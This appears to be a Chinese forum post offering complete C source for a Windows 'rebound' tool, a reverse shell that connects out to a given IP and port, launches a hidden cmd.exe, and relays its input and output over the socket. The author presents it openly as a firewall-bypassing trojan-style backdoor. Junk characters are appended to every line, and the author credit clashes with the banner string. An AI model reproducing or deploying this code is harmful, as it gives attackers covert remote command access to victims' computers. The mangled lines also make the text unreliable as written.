这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Y*5Z)h
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/* ============================== ^c/mj9M#C
Rebound port in Windows NT B1|?RfCe
By wind,2006/7 Qy4X#wgD
===============================*/ 8B}'\e4i
#include !a' K &
#include IkSX\*
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#pragma comment(lib,"wsock32.lib") pG)9=X!9
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void OutputShell(); gsW=3m&`
SOCKET sClient; Z6 t E{/
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; LiiK3!^i
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void main(int argc,char **argv) t{+M|Y
{ Jb(DJ-&
WSADATA stWsaData; f&6w;T=
int nRet; 99J+$A1
SOCKADDR_IN stSaiClient,stSaiServer; PPUEkvH
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if(argc != 3) TcR=GR*cJ
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printf("Useage:\n\rRebound DestIP DestPort\n"); +2-
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return; C>AcK#-x,{
} Z+Kv+GmqH
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6a7vlo
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pNP_f:A|
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stSaiClient.sin_family = AF_INET; YkSuwx@5_q
stSaiClient.sin_port = htons(0); 0Xp
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %_>Tcm=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ynvj;
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printf("Bind Socket Failed!\n"); DYc.to-
return; 9~=gwP
} 4S'[\ZJO
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stSaiServer.sin_family = AF_INET; U?^OD
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); lco~X DI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -&@]M>r@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p`\3if'
{ :*#rRQ>t
printf("Connect Error!"); ^)|&|
return; o1e4.-xI
} 3 sl=>;-
OutputShell(); >J.Qm0TY(
} <F ew<r2
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void OutputShell() Ah*wQow
{ w %;hl#s
char szBuff[1024]; R_7
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SECURITY_ATTRIBUTES stSecurityAttributes; S)+CTVVE
OSVERSIONINFO stOsversionInfo; tL1P<1j_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vuXS/ d
STARTUPINFO stStartupInfo; HF]EU!OT
char *szShell; p7s@%scp
PROCESS_INFORMATION stProcessInformation; tzPC/?
unsigned long lBytesRead; )Ea8{m!
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I|Z/`9T
stSecurityAttributes.lpSecurityDescriptor = 0; Np$z%ewK.
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); z9 O~W5-U
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7 %3<~'v[
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *_PPrx5
stStartupInfo.wShowWindow = SW_HIDE; m#*h{U$
stStartupInfo.hStdInput = hReadPipe; ("OAPr\2dw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vm|!{5l:=y
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GetVersionEx(&stOsversionInfo); eI0F!Yon
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switch(stOsversionInfo.dwPlatformId) _AprkI_
{ mGO>""<:
case 1: `YU=~xQ
szShell = "command.com"; 2yvVeo&3
break; #\LZ;&T'N
default: Nl
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szShell = "cmd.exe"; V'j@K!)~xR
break; 9_GokU P_
} yQ'eu;+]
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); G)8ChnJa!m
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send(sClient,szMsg,77,0); BMpF02Y|4
while(1) Q70bEHLA
{ .9OFryo
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ocwE_dR{
if(lBytesRead) +1/b^Ac
{ Z^*NnL.'
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); mpAHL(
send(sClient,szBuff,lBytesRead,0); q4k.f_{
} Sl"BK0:%7
else K^aj@2K{
{ }"n7~|
lBytesRead=recv(sClient,szBuff,1024,0); qi&D+~Gv!
if(lBytesRead<=0) break; Ib6(Bp9.L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k1#5nYN.
} ~,gLplpG0
} HxZ.OZbR
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return; LQqfi
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}